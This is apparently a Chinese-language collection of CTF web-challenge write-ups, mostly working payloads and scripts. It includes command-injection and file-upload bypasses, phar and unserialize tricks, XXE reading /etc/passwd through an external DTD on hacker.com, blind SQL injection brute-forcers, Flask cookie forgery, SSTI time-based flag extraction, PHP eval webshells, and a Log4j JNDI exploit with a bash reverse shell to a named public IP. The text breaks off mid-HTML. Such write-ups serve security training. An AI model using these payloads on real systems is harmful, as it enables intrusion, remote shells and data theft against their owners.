[FBCTF 2019]rceservice 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php putenv ('PATH=/home/rceservice/jail' );if (isset ($_REQUEST ['cmd' ])) { $json = $_REQUEST ['cmd' ]; if (!is_string ($json )) { echo 'Hacking attempt detected<br/><br/>' ; } elseif (preg_match ('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/' , $json )) { echo 'Hacking attempt detected<br/><br/>' ; } else { echo 'Attempting to run command:<br/>' ; $cmd = json_decode ($json , true )['cmd' ]; if ($cmd !== NULL ) { system ($cmd ); } else { echo 'Invalid input' ; } echo '<br/><br/>' ; } } ?>
两个点
%0a换行来绕过,preg_match只能匹配第一行
/bin/cat进行绕过 再用json的格式封装起来
最终payload
1 2 3 { %0a"cmd":"/bin/cat /home/rceservice/flag"%0a }
[NISACTF 2022]bingdundun~ 基础的phar反序列化
1 2 3 4 5 6 7 8 9 <?php $payload = '<?php eval($_POST["1"]); ?>' ; $phar = new Phar ("example.phar" ); $phar ->startBuffering (); $phar ->setStub ("<?php __HALT_COMPILER(); ?>" ); $phar ->addFromString ("67.php" , "$payload " ); $phar ->stopBuffering (); ?>
上传后直接访问对应的压缩进去的php即可
1 http://node5.anna.nssctf.cn:20355/?bingdundun=phar://0551e3d7f50fe9b53c54c885e264a5d1.zip/67
67是创建的时候压缩进去的,自动补全后缀
phar伪协议只认phar文件特征(stub等),后缀是给人看的,因此可以解析zip
[HUBUCTF 2022 新生赛]checkin 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php show_source (__FILE__ );$username = "this_is_secret" ; $password = "this_is_not_known_to_you" ; include ("flag.php" );$info = isset ($_GET ['info' ])? $_GET ['info' ]: "" ;$data_unserialize = unserialize ($info );if ($data_unserialize ['username' ]==$username &&$data_unserialize ['password' ]==$password ){ echo $flag ; }else { echo "username or password error!" ; } ?>
考察一个点,布尔类型和非null值比较都等于true
1 2 3 4 5 6 <?php $a = [ 'username' => true , 'password' => true ]; echo serialize ($a );
[HDCTF 2023]SearchMaster Smarty模板注入&CVE-2017-1000480 - 先知社区 (aliyun.com)
标签: 1. {$smarty.version}
1 {$smarty.version} #获取smarty的版本号
2.{php}{/php}
1 {php}phpinfo();{/php} #执行相应的php代码
Smarty支持使用 {php}{/php} 标签来执行被包裹其中的php指令,最常规的思路自然是先测试该标签。但因为在Smarty3版本中已经废弃{php}标签,强烈建议不要使用。在Smarty 3.1,{php}仅在SmartyBC中可用。
3.{literal}
{literal} 可以让一个模板区域的字符原样输出。这经常用于保护页面上的Javascript或css样式表,避免因为 Smarty 的定界符而错被解析。
在 PHP5 环境下存在一种 PHP 标签, <script>language="php"></script>,
我们便可以利用这一标签进行任意的 PHP 代码执行。
通过上述描述也可以想到,我们完全可以利用这一种标签来实现 XSS 攻击,这一种攻击方式在 SSTI 中也是很常见的,因为基本上所有模板都会因为需要提供类似的功能。
1 {literal}alert('xss');{/literal}
4.{if}{/if}
Smarty的 {if} 条件判断和PHP的if非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if},也可以使用{else} 和 {elseif},全部的PHP条件表达式和函数都可以在if内使用,如||
,or
,&&
,and
,is_array()
等等,如:
1 {if is_array($array)}{/if}
还可以用来执行命令:
1 2 3 4 {if phpinfo()}{/if} {if readfile ('/flag')}{/if} {if show_source('/flag')}{/if} {if system('cat /flag')}{/if}
扫描发现composer.json,访问发现是smarty模板
尝试进入注点东西
[NCTF 2019]Fake XML cookbook 1.什么是xxe?
XXE漏洞(XML外部实体注入)是一种安全漏洞,可以利用输入验证不严格的 XML 解析器来注入恶意代码。攻击者可以通过构造恶意的 XML 文档 将其发送到应用程序中,在解析该文档时,XML 解析器会加载外部实体(如文件、URL等),以便在文档中引用它们。攻击者可以利用这个功能来执行各种攻击,例如读取服务器上的任意文件、发送内部网络请求、绕过身份验证等。
有点像SSRF
PHP 默认使用 libxml 来解析 XML,但是从 libxml 2.9.0 开始,它默认不再解析外部实体,导致 PHP 下的 XXE 漏洞已经逐渐消失,除非你指定 LIBLXML_NOENT 去开启外部实体解析,才会存在 XXE 漏洞。更多其实是java漏洞,因为 XXE 在利用上与语言无关,无论是 php、java 还是 C、python,利用技巧都是一样的。
2.什么是XML
XML(Extensible Markup Language)意为可扩展性标记语言,XML 文档结构包括 XML 声明、文档类型定义(DTD)、文档元素。
参考例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?xml version="1.0" ?> <!DOCTYPE people [ <!--定义此文档是 people 类型的文档--> <!ELEMENT people (name ,age ,mail )> <!--定义people元素有3个元素--> <!ELEMENT name (#PCDATA )> <!--定义name元素为“#PCDATA”类型--> <!ELEMENT age (#PCDATA )> <!--定义age元素为“#PCDATA”类型--> <!ELEMENT mail (#PCDATA )> <!--定义mail元素为“#PCDATA”类型--> ]]]> <people > <name > john</name > <age > 18</age > <mail > john@qq.com</mail > </people >
1.DTD 实体声明
DTD(Document Type Definition,文档类型定义)用于定义 XML 文档结构,包括元素的定义规则、元素间的关系规则、属性的定义规则,其定义结构如下:
2.内部实体声明
内部声明采用如下格式定义:
声明之后就可以通过“&实体名;”来获取,示例如下
1 2 3 4 5 6 <!DOCTYPE foo [ <!ENTITY test "john" > ]> <root > <name > &test; </name > </root
3.外部实体引用
XXE 的产生正是外部实体引用的结果,可分为普通实体和参数实体。
(1)普通实体声明格式如下:
1 2 3 <!ENTITY 实体名 SYSTEM "URI" > 或者 <!ENTITY 实体名 PUBLIC "public_ID" "URI" >
举个例子:
1 2 3 4 5 6 <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]> <foo > &xxe; </foo > 声明实体 xxe,用于读取 /etc/passwd 文件,然后通过 &xxe; 来引用执行。
(2)参数实体声明主要用于后续使用,与普通实体不同的是,它中间有百分号字符(%),其声明格式如下:
1 2 3 <!ENTITY % 实体名称 "实体的值" > 或者 <!ENTITY % 实体名称 SYSTEM "URI" >
注意 :
举个例子:
1 2 3 4 5 6 7 <!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://hacker.com/evil.dtd" > %xxe; ]> <root > <name > &evil; </name > </root >
xxe.dtd 内容如下:
1 <!ENTITY evil SYSTEM "file:///etc/passwd" >
上面先声明 xxe 参数实体,引入外部实体 “http://hacker.com/evil.dtd",里面声明了一个叫 evil 的实体,用于读取 /etc/passwd 文件,最后在通过 &evil; 来引用执行。 在不同的语言中其支持协议还不一样,需要根据业务场景来实测,常见的协议有 file、http、ftp、https、except 等等。
普通实体和外部实体的差别:
作用范围:普通实体的作用范围是整个 XML 文档。当 XML 解析器遇到某个实体时,会将其替换为实体的定义内容。而参数实体只在声明它们的 DTD 内有效。DTD 是一种文档类型定义,它规定了 XML 文档的结构、标签等方面的规范。
回到题目,抓包发现可能存在xxe
exp
1 2 3 4 5 <?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE note [ <!ENTITY admin SYSTEM "file:///etc/passwd" > ]> <user > <username > &admin; </username > <password > 123</password > </user >
1 2 3 4 5 <?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE note [ <!ENTITY admin SYSTEM "file:///flag" > ]> <user > <username > &admin; </username > <password > 123</password > </user >
[HNCTF 2022 WEEK2]easy_unser 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 <?php include 'f14g.php' ; error_reporting (0 ); highlight_file (__FILE__ ); class body { private $want ,$todonothing = "i can't get you want,But you can tell me before I wake up and change my mind" ; public function __construct ($want ) { $About_me = "When the object is created,I will be called" ; if ($want !== " " ) $this ->want = $want ; else $this ->want = $this ->todonothing; } function __wakeup ( ) { $About_me = "When the object is unserialized,I will be called" ; $but = "I can CHANGE you" ; $this -> want = $but ; echo "C1ybaby!" ; } function __destruct ( ) { $About_me = "I'm the final function,when the object is destroyed,I will be called" ; echo "So,let me see if you can get what you want\n" ; if ($this ->todonothing === $this ->want) die ("鲍勃,别傻愣着!\n" ); if ($this ->want == "I can CHANGE you" ) die ("You are not you...." ); if ($this ->want == "f14g.php" OR is_file ($this ->want)){ die ("You want my heart?No way!\n" ); }else { echo "You got it!" ; highlight_file ($this ->want); } } } class unserializeorder { public $CORE = "人类最大的敌人,就是无序. Yahi param vaastavikta hai!<BR>" ; function __sleep ( ) { $About_me = "When the object is serialized,I will be called" ; echo "We Come To HNCTF,Enjoy the ser14l1zti0n <BR>" ; } function __toString ( ) { $About_me = "When the object is used as a string,I will be called" ; return $this ->CORE; } } $obj = new unserializeorder (); echo $obj ; $obj = serialize ($obj ); if (isset ($_GET ['ywant' ])) { $ywant = @unserialize (@$_GET ['ywant' ]); echo $ywant ; } ?> 人类最大的敌人,就是无序. Yahi param vaastavikta hai! We Come To HNCTF,Enjoy the ser14l1zti0n
[SWPUCTF 2023 秋季新生赛]RCE-PLUS 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php error_reporting (0 );highlight_file (__FILE__ );function strCheck ($cmd ) { if (!preg_match ("/\;|\&|\\$|\x09|\x26|more|less|head|sort|tail|sed|cut|awk|strings|od|php|ping|flag/i" , $cmd )){ return ($cmd ); } else { die ("i hate this" ); } } $cmd =$_GET ['cmd' ];strCheck ($cmd );shell_exec ($cmd );?>
由于没有相关打印的函数,因此可以直接写入文件读取
exp
1 2 ls /> 1.txt cat /fl*> 2.txt
[第五空间 2021]yet_another_mysql_injection 提示/?source
找到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 <?php include_once ("lib.php" );function alertMes ($mes ,$url ) { die ("<script>alert('{$mes} ');location.href='{$url} ';</script>" ); } function checkSql ($s ) { if (preg_match ("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i" ,$s )){ alertMes ('hacker' , 'index.php' ); } } if (isset ($_POST ['username' ]) && $_POST ['username' ] != '' && isset ($_POST ['password' ]) && $_POST ['password' ] != '' ) { $username =$_POST ['username' ]; $password =$_POST ['password' ]; if ($username !== 'admin' ) { alertMes ('only admin can login' , 'index.php' ); } checkSql ($password ); $sql ="SELECT password FROM users WHERE username='admin' and password='$password ';" ; $user_result =mysqli_query ($con ,$sql ); $row = mysqli_fetch_array ($user_result ); if (!$row ) { alertMes ("something wrong" ,'index.php' ); } if ($row ['password' ] === $password ) { die ($FLAG ); } else { alertMes ("wrong password" ,'index.php' ); } } if (isset ($_GET ['source' ])){ show_source (__FILE__ ); die ; } ?> <!-- /?source --> <html> <body> <form action="/index.php" method="post" > <input type="text" name="username" placeholder="账号" ><br/> <input type="password" name="password" placeholder="密码" ><br/> <input type="submit" / value="登录" > </form> </body> </html>
没有过滤like,可以尝试like报错注入,%
是一个通配符,表示任意数量的任意字符。
1 2 3 4 5 6 7 8 9 10 11 12 13 import requests url = 'http://node4.anna.nssctf.cn:28612' paylaod_list = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" flag = "" for i in paylaod_list: data = { 'username': 'admin', 'password': f"1'/**/or/**/password/**/like/**/'{i}%'#", } re = requests.post(url,data = data) print(f"i={i} {re.text}")
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import requestsimport timeurl = 'http://node4.anna.nssctf.cn:28612' paylaod_list = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-" flag = "" for m in range (40 ): for i in paylaod_list: data = { 'username' : 'admin' , 'password' : f"1'/**/or/**/password/**/like/**/'{flag} {i} %'#" , } re = requests.post(url,data = data) time.sleep(0.1 ) if 'wrong password' in re.text: flag += i print (flag) break
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import timeimport requestsurl = 'http://node4.anna.nssctf.cn:28612' flag = '' zifu="1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~" print (zifu)while True : for i in zifu: data={ "username" : "admin" , "password" : f"1'or/**/password/**/like/**/'{flag+i} %'#" } res = requests.post(url=url,data=data) time.sleep(0.1 ) if "something wrong" not in res.text: flag+=i print (flag) break else : pass
[NSSRound#13 Basic]flask?jwt? 注册账号进去拿flag
忘记密码处有secretkey
1 <!-- secretkey: th3f1askisfunny -->
直接拿去解密
1 python flask_session_cookie_manager3.py decode -s "th3f1askisfunny" -c ".eJwlzsENwzAIAMBd_O7DwQZMlonAgNqv07yq7t5IneDuU45ccT7L_l5XPMrx8rKX0ZVhcDK1FAgCaBLYK_lskDMMJ4ZvDFWydUBB28CmW3LL2kRJtM9qJoiJZAQdYPTgUNdpLIQ-whSpsjM3F8esyqY3wLOWO3Kdsf4bKN8frIcvsQ.ZqTwRQ.gQDifRFlzKt9DirA8xhKUx8c45E"
得到
1 {'_fresh': True, '_id': '84a7287f763f92e62239e5406dc32fceb5c5ed17209f342595b12bcdbf73f039a69a4c0bb955f56b6242284e7eadacb7965d8eba5607d773d9d5f0a7badc37c0', '_user_id': '2'}
修改一下,admin的id属性直接盲猜1
1 {'_fresh': True, '_id': '84a7287f763f92e62239e5406dc32fceb5c5ed17209f342595b12bcdbf73f039a69a4c0bb955f56b6242284e7eadacb7965d8eba5607d773d9d5f0a7badc37c0', '_user_id': '1'}
payload
1 python flask_session_cookie_manager3.py encode -s "th3f1askisfunny" -t "{'_fresh': True, '_id': '84a7287f763f92e62239e5406dc32fceb5c5ed17209f342595b12bcdbf73f039a69a4c0bb955f56b6242284e7eadacb7965d8eba5607d773d9d5f0a7badc37c0', '_user_id': '1'}"
替换cookie拿flag
登陆就有flag
空异或0会查到所有非数字开头的记录
引号可以用于闭合,井号可以用于注释,^进行异或运算,等号就是判等
Log4j复现 前置知识 LDAP 轻量级的目录搜寻协议,提供目录服务
JNDI Java的一个接口,JNDI避免了程序与数据库之间的紧耦合
我们平常说的 LDAP Server,一般指的是安装并配置了 Active Directory、OpenLDAP 这些程序的服务器
dnslog A记录:Address 域名对应的IP地址
https://www.cnblogs.com/sunny11/p/14399420.html
PAYLOAD
1 ${jndi:ldap://r0303l.dnslog.cn}
存在相关漏洞
log4j会记录数据包的一些内容(比如url、cookie等等),此外,他还拥有一定数据分析处理能力,这种能力能够简化程序员的开发,但同时也带来了log4j的这个漏洞。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 [root@iZbp1cdkjx3v4aulod8zk9Z yiyi] Usage: java -jar JNDIExploit-1.2-SNAPSHOT.jar [options] Options: * -i, --ip Local ip address -l, --ldapPort Ldap bind port (default: 1389) -p, --httpPort Http bind port (default: 8080) -u, --usage Show usage (default: false ) -h, --help Show this help [root@iZbp1cdkjx3v4aulod8zk9Z yiyi] Supported LADP Queries: * all words are case INSENSITIVE when send to ldap server [+] Basic Queries: ldap://null:1389/Basic/[PayloadType]/[Params], e.g. ldap://null:1389/Basic/Dnslog/[domain] ldap://null:1389/Basic/Command/[cmd] ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd] ldap://null:1389/Basic/ReverseShell/[ip]/[port] ---windows NOT supported ldap://null:1389/Basic/TomcatEcho ldap://null:1389/Basic/SpringEcho ldap://null:1389/Basic/WeblogicEcho ldap://null:1389/Basic/TomcatMemshell1 ldap://null:1389/Basic/TomcatMemshell2 ---need extra header [shell: true ] ldap://null:1389/Basic/JettyMemshell ldap://null:1389/Basic/WeblogicMemshell1 ldap://null:1389/Basic/WeblogicMemshell2 ldap://null:1389/Basic/JBossMemshell ldap://null:1389/Basic/WebsphereMemshell ldap://null:1389/Basic/SpringMemshell [+] Deserialize Queries: ldap://null:1389/Deserialization/[GadgetType]/[PayloadType]/[Params], e.g. ldap://null:1389/Deserialization/URLDNS/[domain] ldap://null:1389/Deserialization/CommonsCollectionsK1/Dnslog/[domain] ldap://null:1389/Deserialization/CommonsCollectionsK2/Command/Base64/[base64_encoded_cmd] ldap://null:1389/Deserialization/CommonsBeanutils1/ReverseShell/[ip]/[port] ---windows NOT supported ldap://null:1389/Deserialization/CommonsBeanutils2/TomcatEcho ldap://null:1389/Deserialization/C3P0/SpringEcho ldap://null:1389/Deserialization/Jdk7u21/WeblogicEcho ldap://null:1389/Deserialization/Jre8u20/TomcatMemshell ldap://null:1389/Deserialization/CVE_2020_2555/WeblogicMemshell1 ldap://null:1389/Deserialization/CVE_2020_2883/WeblogicMemshell2 ---ALSO support other memshells [+] TomcatBypass Queries ldap://null:1389/TomcatBypass/Dnslog/[domain] ldap://null:1389/TomcatBypass/Command/[cmd] ldap://null:1389/TomcatBypass/Command/Base64/[base64_encoded_cmd] ldap://null:1389/TomcatBypass/ReverseShell/[ip]/[port] ---windows NOT supported ldap://null:1389/TomcatBypass/TomcatEcho ldap://null:1389/TomcatBypass/SpringEcho ldap://null:1389/TomcatBypass/TomcatMemshell1 ldap://null:1389/TomcatBypass/TomcatMemshell2 ---need extra header [shell: true ] ldap://null:1389/TomcatBypass/SpringMemshell [+] GroovyBypass Queries ldap://null:1389/GroovyBypass/Command/[cmd] ldap://null:1389/GroovyBypass/Command/Base64/[base64_encoded_cmd] [+] WebsphereBypass Queries ldap://null:1389/WebsphereBypass/List/file=[file or directory] ldap://null:1389/WebsphereBypass/Upload/Dnslog/[domain] ldap://null:1389/WebsphereBypass/Upload/Command/[cmd] ldap://null:1389/WebsphereBypass/Upload/Command/Base64/[base64_encoded_cmd] ldap://null:1389/WebsphereBypass/Upload/ReverseShell/[ip]/[port] ---windows NOT supported ldap://null:1389/WebsphereBypass/Upload/WebsphereMemshell ldap://null:1389/WebsphereBypass/RCE/path=[uploaded_jar_path] ----e.g: ../../../../../tmp/jar_cache7808167489549525095.tmp [root@iZbp1cdkjx3v4aulod8zk9Z yiyi]
先将反弹shell的命令base64编码,然后将里面的+号和=号进行一次url编码
注:IP填vps公网ip,PORT要和nc监听的端口对应
1 2 3 4 bash -i >& /dev/tcp /IP/ PORT 0 >&1 bash -i >& /dev/tcp /101.37.27.18/ 4444 0 >&1
然后启动JNDIExploit
1 java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 101 .37 .27 .18 -l 1389 -p 8180
用nc监听端口
payload
1 ${jndi:ldap://101.37.27.18:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMDEuMzcuMjcuMTgvNDQ0NCAwPiYx}
终端1
终端2
击剑杯-近在眼前 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from flask import Flask, render_template_string, requestfrom flask_limiter import Limiterfrom flask_limiter.util import get_remote_addressapp = Flask(__name__) limiter = Limiter( app, key_func=get_remote_address, default_limits=["10000 per hour" ] ) @limiter.limit("5/second" , override_defaults=True ) @app.route('/' ) def index (): return ("\x3cpre\x3e\x3ccode\x3e%s\x3c/code\x3e\x3c/pre\x3e" )%open (__file__).read() @limiter.limit("5/second" , override_defaults=True ) @app.route('/ssti' ) def check (): flag = open ("/app/flag.txt" , 'r' ).read().strip() if "input" in request.args: query = request.args["input" ] render_template_string(query) return "Thank you for your input." return "No input found." app.run('0.0.0.0' , 80 )
发现Flask 应用的 check
路由存在安全漏洞:
1 2 3 4 5 6 7 8 9 @limiter.limit("5/second" , override_defaults=True ) @app.route('/ssti' ) def check (): flag = open ("/app/flag.txt" , 'r' ).read().strip() if "input" in request.args: query = request.args["input" ] render_template_string(query) return "Thank you for your input." return "No input found."
render_template_string(query)
函数直接渲染了用户提供的输入(query
),导致存在 SSTI 漏洞。
render_template_string
是 Flask 提供的一个函数,用于将模板字符串渲染为最终的 HTML 输出。它类似于 render_template
,但区别在于 render_template
是从文件系统加载模板文件,而 render_template_string
是直接渲染传递给它的字符串。
render_template_string
的工作原理render_template_string
会将传递给它的模板字符串与上下文变量进行结合,然后使用 Jinja2 模板引擎来渲染字符串并生成最终的 HTML 输出。例如:
1 2 3 4 5 6 7 8 9 10 11 12 from flask import Flask, render_template_string,requestapp = Flask(__name__) @app.route('/greet' ) def greet (): name = "Alice" name = request.args["input" ] template = "Hello, {{ name }}!" return render_template_string(template, name=name) app.run()
在这个例子中,render_template_string
函数将字符串 "Hello, {{ name }}!"
与上下文变量 name
结合
如何导致 SSTI 漏洞 当用户输入直接传递给 render_template_string
而不进行任何过滤或验证时,就可能引发服务器端模板注入(SSTI)漏洞。例如:
1 2 3 4 5 6 7 8 9 10 from flask import Flask, render_template_string, requestapp = Flask(__name__) @app.route('/ssti' ) def ssti (): user_input = request.args.get('input' , '' ) return render_template_string(user_input) app.run()
在这个例子中,user_input
直接来自用户请求参数,并被传递给 render_template_string
。如果用户传递一个恶意的模板表达式作为输入,就可能导致任意代码执行:
1 http://example.com/ssti?input={{ 7*7 }}
这种请求会导致 Flask 渲染模板字符串 {{ 7*7 }}
,并返回结果 49
。
更严重的例子:
1 http://example.com/ssti?input={{ "__import__('os').popen('ls').read()" }}
这个请求利用了 Jinja2 模板的强大功能,调用 Python 的内置函数执行系统命令,可能会暴露服务器的文件系统信息或执行任意代码。
防御措施 为了防止 SSTI 漏洞,应避免直接渲染用户输入的字符串。可以采取以下措施:
输入验证和清理 :对用户输入进行严格的验证和清理。
避免直接渲染用户输入 :尽量不要将用户输入直接传递给 render_template_string
。
使用沙箱环境 :如果必须渲染用户提供的模板,考虑使用沙箱环境来限制模板的功能。
例子: 防止 SSTI 的一种方法是将用户输入进行转义,确保用户输入不会被解析为模板表达式:
1 2 3 4 5 6 7 8 9 10 11 from flask import Flask, render_template_string, request, escapeapp = Flask(__name__) @app.route('/safe_ssti' ) def safe_ssti (): user_input = request.args.get('input' , '' ) safe_input = escape(user_input) return render_template_string("User input: {{ input }}" , input =safe_input) app.run()
在这个例子中,escape
函数对用户输入进行了转义,确保它作为普通字符串而不是模板表达式进行渲染。
poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import requests as reqimport timechar_set = "1234567890abcdef-" sess = req.session() flag = {} for i in range (1 , 46 ): for c in char_set: url = r"""http://045c5218-6cbf-40a3-a131-718130bef6d9.challenge.ctf.show/ssti?input={{lipsum.__globals__.__builtins__.eval("__import__('os').popen('if [ `cut -c %d /app/flag.txt` = \"%s\" ];then sleep 2;fi').read()")}}""" % (i, c) time.sleep(0.2 ) resp = sess.get(url) if resp.elapsed.seconds >= 2 : print (c, end='' ) flag[i] = c print (flag)
单身杯web签到 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php error_reporting (0 );highlight_file (__FILE__ );$file = $_POST ['file' ];if (isset ($file )){ if (strrev ($file )==$file ){ include $file ; } }
data协议后,php标记?>闭合后可以加任意字符。
到这里就可以看到php代码已经执行,后面的已经被?>所截断
exp
1 file=data://text/plain,<?php eval($_POST[1]);?>>?;)]1[TSOP_$(lave php?<,nialp/txet//:atad&1=system('nl /f1agaaa');
[GHCTF 2024]PermissionDenied 题目源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php function blacklist ($file ) { $deny_ext = array ("php" ,"php5" ,"php4" ,"php3" ,"php2" ,"php1" ,"html" ,"htm" ,"phtml" ,"pht" ,"pHp" ,"pHp5" ,"pHp4" ,"pHp3" ,"pHp2" ,"pHp1" ,"Html" ,"Htm" ,"pHtml" ,"jsp" ,"jspa" ,"jspx" ,"jsw" ,"jsv" ,"jspf" ,"jtml" ,"jSp" ,"jSpx" ,"jSpa" ,"jSw" ,"jSv" ,"jSpf" ,"jHtml" ,"asp" ,"aspx" ,"asa" ,"asax" ,"ascx" ,"ashx" ,"asmx" ,"cer" ,"aSp" ,"aSpx" ,"aSa" ,"aSax" ,"aScx" ,"aShx" ,"aSmx" ,"cEr" ,"sWf" ,"swf" ,"ini" ); $ext = pathinfo ($file , PATHINFO_EXTENSION); foreach ($deny_ext as $value ) { if (stristr ($ext , $value )){ return false ; } } return true ; } if (isset ($_FILES ['file' ])){ $filename = urldecode ($_FILES ['file' ]['name' ]); $filecontent = file_get_contents ($_FILES ['file' ]['tmp_name' ]); if (blacklist ($filename )){ file_put_contents ($filename , $filecontent ); echo "Success!!!" ; } else { echo "Hacker!!!" ; } } else { highlight_file (__FILE__ ); } 12345678910111213141516171819202122232425
file_put_content函数有一个文件解析的漏洞
当上传123.php/.
的时候,file_put_contents函数会认为是要在123.php文件所在的目录下创建一个名为.
的文件,最终上传创建的是123.php
123.php内容
1 <?php eval ($_POST [0 ]);phpinfo ();?>
脚本
1 2 3 4 5 6 7 8 import requestsurl = "http://node5.anna.nssctf.cn:25045/" file = { "file" :("123.php%2f." ,open ('123.php' ,'r' )) } res = requests.post(url=url,files=file).text print (res)
给你shell
1 https://ea50473b-4923-4d2b-b3a8-7a54a9a40e5f.challenge.ctf.show/?view_source
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php error_reporting (0 );include "config.php" ;if (isset ($_GET ['view_source' ])) { show_source (__FILE__ ); die ; } function checkCookie ($s ) { $arr = explode (':' , $s ); if ($arr [0 ] === '{"secret"' && preg_match ('/^[\"0-9A-Z]*}$/' , $arr [1 ]) && count ($arr ) === 2 ) { return true ; } else { if ( !theFirstTimeSetCookie () ) setcookie ('secret' , '' , time ()-1 ); return false ; } } function haveFun ($_f_g ) { $_g_r = 32 ; $_m_u = md5 ($_f_g ); $_h_p = strtoupper ($_m_u ); for ($i = 0 ; $i < $_g_r ; $i ++) { $_i = substr ($_h_p , $i , 1 ); $_i = ord ($_i ); print_r ($_i & 0xC0 ); } die ; } isset ($_COOKIE ['secret' ]) ? $json = $_COOKIE ['secret' ] : setcookie ('secret' , '{"secret":"' . strtoupper (md5 ('y1ng' )) . '"}' , time ()+7200 );checkCookie ($json ) ? $obj = @json_decode ($json , true ) : die ('no' );if ($obj && isset ($_GET ['give_me_shell' ])) { ($obj ['secret' ] != $flag_md5 ) ? haveFun ($flag ) : echo "here is your webshell: $shell_path " ; } die ;
解释一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 <?php error_reporting (0 );include "config.php" ;if (isset ($_GET ['view_source' ])) { show_source (__FILE__ ); die ; } function checkCookie ($s ) { $arr = explode (':' , $s ); if ($arr [0 ] === '{"secret"' && preg_match ('/^[\"0-9A-Z]*}$/' , $arr [1 ]) && count ($arr ) === 2 ) { return true ; } else { if ( ! theFirstTimeSetCookie () ) setcookie ('secret' , '' , time ()-1 ); return false ; } } function haveFun ($_f_g ) { $_g_r = 32 ; $_m_u = md5 ($_f_g ); $_h_p = strtoupper ($_m_u ); for ($i = 0 ; $i < $_g_r ; $i ++) { $_i = substr ($_h_p , $i , 1 ); $_i = ord ($_i ); print_r ($_i & 0xC0 ); } die ; } isset ($_COOKIE ['secret' ]) ? $json = $_COOKIE ['secret' ] : setcookie ('secret' , '{"secret":"' . strtoupper (md5 ('y1ng' )) . '"}' , time ()+7200 );checkCookie ($json ) ? $obj = @json_decode ($json , true ) : die ('no' );if ($obj && isset ($_GET ['give_me_shell' ])) { ($obj ['secret' ] != $flag_md5 ) ? haveFun ($flag ) : echo "here is your webshell: $shell_path " ; } die ;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import requestsfrom tqdm import tqdmurl = 'http://ea50473b-4923-4d2b-b3a8-7a54a9a40e5f.challenge.ctf.show/?give_me_shell=' s = requests.session() for i in tqdm(range (1000 )): headers = { 'cookie' : f'secret={{"secret": {i} }}' } res = s.get(url,headers = headers) if 'here is your webshell' in res.text: print (headers) print (res.text) break
得到webshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 D:\python3.7 \python.exe C:\Users\31702 \Desktop\123 .py 12 %|█▏ | 115 /1000 [00 :02 <00 :20 , 42.35 it/s] {'cookie' : 'secret={"secret": 115}' } <!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>real easy checkin</title> <link href="https://fonts.googleapis.com/css2?family=Inconsolata:wght@400;700&display=swap" rel="stylesheet" /> <style> body { margin: 0 ; } p { font-family: "Inconsolata" , monospace; text-align: center; font-size: 64 px; vertical-align: middle; user-select: none; margin: 0 ; } .flexmagic { display: flex; align-items: center; justify-content: center; height: 90 %; position: absolute; margin: 0 ; width: 100 %; flex-direction: column; } *{margin:0 px; padding:0 px;} .botCenter{width:100 %; height:35 px; line-height:35 px; background: </style> </head> <body> <a href="https://gem-love.com/" target="_blank" ><div class ="botCenter ">@颖奇L 'Amore </div ></a > <a href ='./?view_source ' target ="_blank "><button hidden ></button ></a > <div > <div class ="flexmagic "> <p id ="magic ">I 